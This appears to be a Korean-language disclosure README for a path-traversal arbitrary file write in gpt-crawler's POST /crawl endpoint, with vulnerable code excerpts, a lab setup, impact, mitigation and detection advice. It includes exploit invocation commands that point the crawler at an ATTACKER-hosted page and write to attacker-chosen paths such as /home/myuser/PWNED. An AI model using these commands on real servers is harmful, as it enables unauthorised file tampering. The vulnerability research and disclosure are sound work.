
CVE-2026-82286 — gpt-crawler <=1.5.1의 outputFileName(POST /crawl)을 통한 인증되지 않은 임의 파일 쓰기. PoC + 자체 포함 Docker 랩. CVSS 8.6, CWE-22.
BuilderIO/gpt-crawler(약 22k ★)의 인증 없는 임의 파일 쓰기에 대한 개념 증명(PoC)입니다.
POST /crawl API 엔드포인트의 outputFileName 파라미터를 통해 발생합니다.
| CVE | CVE-2026-82286 |
| 제품 | gpt-crawler (BuilderIO) |
| 영향 범위 | <= 1.5.1 (최신 릴리스; 기본 브랜치 HEAD도 영향) |
| 취약점 유형 | 경로 탐색 / 임의 파일 쓰기 (CWE-22, CWE-73) |
| CVSS 3.1 | 8.6 — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L (HIGH) |
| 인증 | 없음 (인증 없음) |
| 전제 조건 | API 서버 모드 실행 (npm run start:server) |
| 상태 | 확인됨 종단 간 (2026-08-29 기준 패치되지 않음) |
API 서버(src/server.ts)는 인증 없이 POST /crawl을 노출합니다. JSON
본문은 크롤러 Config로 직접 파싱되며, outputFileName은 z.string()으로만
검증됩니다 — 경로 제약이 없습니다:
// src/config.ts
outputFileName: z.string(),
src/core.ts에서 write()는 공격자가 제어하는 문자열에서 직접 출력 경로를
구성하고 해당 경로에 fs.writeFile()을 호출합니다:
// src/core.ts (write)
const nextFileName = (): string =>
`${config.outputFileName.replace(/\.json$/, "")}-${fileCounter}.json`;
...
await writeFile(nextFileNameString, JSON.stringify(currentResults, null, 2));
따라서 원격의 인증 없는 공격자는 의도된 storage/ 출력 영역 외부에 기록되는
파일의 전체 경로를 제어할 수 있습니다 — 절대 경로(/tmp/x,
/home/<user>/x) 또는 ../ 탐색을 통해. 파일 내용은 크롤링 결과
[{title,url,html}]이며, 해당 필드는 공격자가 크롤러가 접근하도록 지정한 페이지에서
비롯됩니다(url을 자신이 제어하는 서버로 설정). 따라서 내용은 공격자의 영향을 받습니다.
유일한 제약은 강제되는 -<N>.json 접미사(이름이 항상 .json으로 끝남)와
JSON 배열 내용 래퍼입니다 — 이것이 깔끔한 RCE가 아닌 임의 파일 쓰기(I:H)로
점수가 매겨진 이유입니다.
python3 exploit.py \
-t http://TARGET:3000 \
-u http://ATTACKER:8081/index.html \ # 작성된 파일에 들어갈 내용이 있는 페이지
-o /home/myuser/PWNED # -> /home/myuser/PWNED-1.json 작성
엔드포인트는 HTTP 응답에 작성된 파일의 내용을 반영합니다. 실증적 증거는
대상 파일 시스템의 공격자가 선택한 경로에 파일이 나타나는 것입니다(EVIDENCE.txt 참조).
cd lab && ./run.sh
python3 ../exploit.py -t http://127.0.0.1:3000 -u http://127.0.0.1:8081/index.html -o /tmp/PWNED
docker exec gptc-vuln cat /tmp/PWNED-1.json # <- storage/ 외부에 인증 없이 작성됨
정리: docker rm -f gptc-vuln; pkill -f 'http.server 8081'.
인증 없는 네트워크 공격자는 부분적으로 공격자가 제어하는 내용으로 임의 경로에
파일을 생성하거나 덮어쓸 수 있습니다(프로세스 사용자의 권한과 -<N>.json
접미사에 따름). 배포 방식에 따라 구성/데이터 파일 변조, 애플리케이션 상태
손상(무결성/가용성)이 가능하며, 이후 작성된 *.json 파일을 소비하는 대상에서는
추가 공격으로 연계될 수 있습니다.
이 취약점은 API 서버 모드(src/server.ts, npm run start:server /
containerapp 배포를 통해 시작)에서만 도달 가능하며, 기본 CLI 모드에서는
불가능합니다. 서버는 API_HOST(기본값 localhost)에 바인딩됩니다. API를
노출하는 실제 배포에서는(containerapp 이미지처럼) 이를 0.0.0.0으로
설정하므로 엔드포인트가 원격으로 도달 가능해집니다.
outputFileName을 고정된 기본 디렉터리에 대해 확인하고, 이를 벗어나면
거부합니다(path.resolve(base, name) + 접두사 확인); .. 및 절대 경로 제거.POST /crawl에 인증/권한 부여를 추가합니다.outputFileName에 /, \ 또는 ..이 포함된 POST /crawl 본문과 크롤러의
storage/ 디렉터리 외부에 나타나는 *-1.json 파일을 찾으십시오.
연구 및 PoC: Caio Fabrício (BiiTts).